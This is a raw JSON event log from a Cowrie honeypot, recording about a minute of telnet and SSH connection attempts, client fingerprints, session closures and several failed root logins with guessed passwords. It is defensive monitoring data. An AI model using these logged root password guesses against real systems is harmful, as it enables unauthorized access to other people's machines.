{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43566,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa21721ae183","protocol":"telnet","message":"New connection: 162.55.233.176:43566 (159.203.135.109:23) [session: fa21721ae183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:15.110880Z"}
{"eventid":"cowrie.session.closed","duration":44.39325165748596,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:15.613178Z","src_ip":"188.208.141.113","session":"084db442d492","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.43726086616516,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:16.681865Z","src_ip":"162.55.233.176","session":"3db4d8dbf4f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:17.870911Z","src_ip":"213.209.159.158","session":"634eb6e64991","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":52096,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c8f49951e81","protocol":"ssh","message":"New connection: 213.209.159.158:52096 (10.17.0.5:22) [session: 0c8f49951e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:17.948760Z"}
{"eventid":"cowrie.session.closed","duration":41.05824041366577,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:18.847016Z","src_ip":"206.189.32.23","session":"3fa7ce54b5a0","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:19.856546Z","src_ip":"213.209.159.158","session":"0c8f49951e81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:19.860067Z","src_ip":"213.209.159.158","session":"0c8f49951e81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.37478280067444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:20.443717Z","src_ip":"162.55.233.176","session":"99ccfd3f84ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38484,"dst_ip":"10.17.0.5","dst_port":23,"session":"95e0c4f4cc73","protocol":"telnet","message":"New connection: 188.208.141.113:38484 (10.17.0.5:23) [session: 95e0c4f4cc73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:27.147424Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54016,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6d4035f8963","protocol":"telnet","message":"New connection: 162.55.233.176:54016 (159.203.135.109:23) [session: d6d4035f8963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:28.786733Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vr.123345","message":"login attempt [root/vr.123345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:29.384743Z","src_ip":"213.209.159.158","session":"0c8f49951e81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54020,"dst_ip":"159.203.135.109","dst_port":23,"session":"e16b3a04f9a3","protocol":"telnet","message":"New connection: 162.55.233.176:54020 (159.203.135.109:23) [session: e16b3a04f9a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:29.652196Z"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:32.605299Z","src_ip":"213.209.159.158","session":"0c8f49951e81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":41058,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca8f4f5084e9","protocol":"ssh","message":"New connection: 213.209.159.158:41058 (10.17.0.5:22) [session: ca8f4f5084e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:32.690280Z"}
{"eventid":"cowrie.session.closed","duration":33.10494256019592,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:33.690804Z","src_ip":"162.55.233.176","session":"53d2b72d0d5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.179325580596924,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:33.806390Z","src_ip":"162.55.233.176","session":"a50ba4df485b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.62785243988037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:35.027789Z","src_ip":"162.55.233.176","session":"2ace24f34183","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:35.257020Z","src_ip":"213.209.159.158","session":"ca8f4f5084e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:35.260834Z","src_ip":"213.209.159.158","session":"ca8f4f5084e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44298,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dacb0e81769","protocol":"telnet","message":"New connection: 162.55.233.176:44298 (159.203.135.109:23) [session: 2dacb0e81769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:36.136948Z"}
{"eventid":"cowrie.session.closed","duration":0.35415053367614746,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:36.491002Z","src_ip":"162.55.233.176","session":"2dacb0e81769","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":58910,"dst_ip":"10.17.0.5","dst_port":23,"session":"12a40c6ac8b0","protocol":"telnet","message":"New connection: 206.189.32.23:58910 (10.17.0.5:23) [session: 12a40c6ac8b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:37.479922Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps12","message":"login attempt [root/vps12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:44.164893Z","src_ip":"213.209.159.158","session":"ca8f4f5084e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":39148,"dst_ip":"10.17.0.5","dst_port":23,"session":"227db2a4d074","protocol":"telnet","message":"New connection: 206.189.32.23:39148 (10.17.0.5:23) [session: 227db2a4d074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:45.567030Z"}
{"eventid":"cowrie.session.closed","duration":31.25454545021057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:46.365301Z","src_ip":"162.55.233.176","session":"fa21721ae183","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52982,"dst_ip":"10.17.0.5","dst_port":23,"session":"96ff253f9a17","protocol":"telnet","message":"New connection: 188.208.141.113:52982 (10.17.0.5:23) [session: 96ff253f9a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:47.028805Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52988,"dst_ip":"10.17.0.5","dst_port":23,"session":"6129336d87cf","protocol":"telnet","message":"New connection: 188.208.141.113:52988 (10.17.0.5:23) [session: 6129336d87cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:47.248722Z"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:47.796589Z","src_ip":"213.209.159.158","session":"ca8f4f5084e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":46740,"dst_ip":"10.17.0.5","dst_port":22,"session":"41e5149ed3e0","protocol":"ssh","message":"New connection: 213.209.159.158:46740 (10.17.0.5:22) [session: 41e5149ed3e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:47.893283Z"}
{"eventid":"cowrie.session.closed","duration":45.573625326156616,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:48.784385Z","src_ip":"188.208.141.113","session":"3a5f0c62b9b2","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:50.073970Z","src_ip":"213.209.159.158","session":"41e5149ed3e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:50.077249Z","src_ip":"213.209.159.158","session":"41e5149ed3e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50440,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a60c02909eb","protocol":"telnet","message":"New connection: 162.55.233.176:50440 (159.203.135.109:23) [session: 8a60c02909eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:51.131406Z"}
{"eventid":"cowrie.session.closed","duration":44.58691191673279,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:54.397309Z","src_ip":"206.189.32.23","session":"5f1553757895","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.12621760368347,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:55.332195Z","src_ip":"206.189.32.23","session":"48db1abd9703","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53478,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e436a5280f0","protocol":"telnet","message":"New connection: 162.55.233.176:53478 (159.203.135.109:23) [session: 3e436a5280f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:57.224430Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58308,"dst_ip":"10.17.0.5","dst_port":23,"session":"70dfe73ccd40","protocol":"telnet","message":"New connection: 188.208.141.113:58308 (10.17.0.5:23) [session: 70dfe73ccd40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:58.981282Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vO123456","message":"login attempt [root/vO123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:59.075329Z","src_ip":"213.209.159.158","session":"41e5149ed3e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58318,"dst_ip":"10.17.0.5","dst_port":23,"session":"bccd020e0128","protocol":"telnet","message":"New connection: 188.208.141.113:58318 (10.17.0.5:23) [session: bccd020e0128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:59.595222Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":53432,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf180236978a","protocol":"telnet","message":"New connection: 206.189.32.23:53432 (10.17.0.5:23) [session: cf180236978a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:59.626103Z"}
{"eventid":"cowrie.session.closed","duration":31.14105725288391,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:59.927674Z","src_ip":"162.55.233.176","session":"d6d4035f8963","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":56838,"dst_ip":"10.17.0.5","dst_port":23,"session":"53ced22f696a","protocol":"telnet","message":"New connection: 206.189.32.23:56838 (10.17.0.5:23) [session: 53ced22f696a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:01.972809Z"}
{"eventid":"cowrie.session.closed","duration":"14.4","message":"Connection lost after 14.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:02.285913Z","src_ip":"213.209.159.158","session":"41e5149ed3e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":64640,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd7c01411c4a","protocol":"ssh","message":"New connection: 213.209.159.158:64640 (10.17.0.5:22) [session: bd7c01411c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:02.379582Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":58752,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb14c5115392","protocol":"telnet","message":"New connection: 206.189.32.23:58752 (10.17.0.5:23) [session: eb14c5115392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:03.574346Z"}
{"eventid":"cowrie.session.closed","duration":34.732709646224976,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:04.384785Z","src_ip":"162.55.233.176","session":"e16b3a04f9a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.462449789047241,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:04.443644Z","src_ip":"188.208.141.113","session":"70dfe73ccd40","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:04.492403Z","src_ip":"213.209.159.158","session":"bd7c01411c4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:04.497819Z","src_ip":"213.209.159.158","session":"bd7c01411c4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38420,"dst_ip":"159.203.135.109","dst_port":23,"session":"b41e06e7032e","protocol":"telnet","message":"New connection: 162.55.233.176:38420 (159.203.135.109:23) [session: b41e06e7032e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:04.846582Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56134,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5cb481d0769","protocol":"telnet","message":"New connection: 188.208.141.113:56134 (10.17.0.5:23) [session: a5cb481d0769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:05.582696Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38430,"dst_ip":"159.203.135.109","dst_port":23,"session":"06d3a10b17d5","protocol":"telnet","message":"New connection: 162.55.233.176:38430 (159.203.135.109:23) [session: 06d3a10b17d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:05.980283Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":39820,"dst_ip":"159.203.135.109","dst_port":22,"session":"72fe7583fe8b","protocol":"ssh","message":"New connection: 103.170.173.26:39820 (159.203.135.109:22) [session: 72fe7583fe8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:05.997464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:06.002179Z","src_ip":"103.170.173.26","session":"72fe7583fe8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:06.261164Z","src_ip":"103.170.173.26","session":"72fe7583fe8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.93922758102417,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:06.534368Z","src_ip":"188.208.141.113","session":"bccd020e0128","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38438,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fe841102166","protocol":"telnet","message":"New connection: 162.55.233.176:38438 (159.203.135.109:23) [session: 5fe841102166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:07.147583Z"}
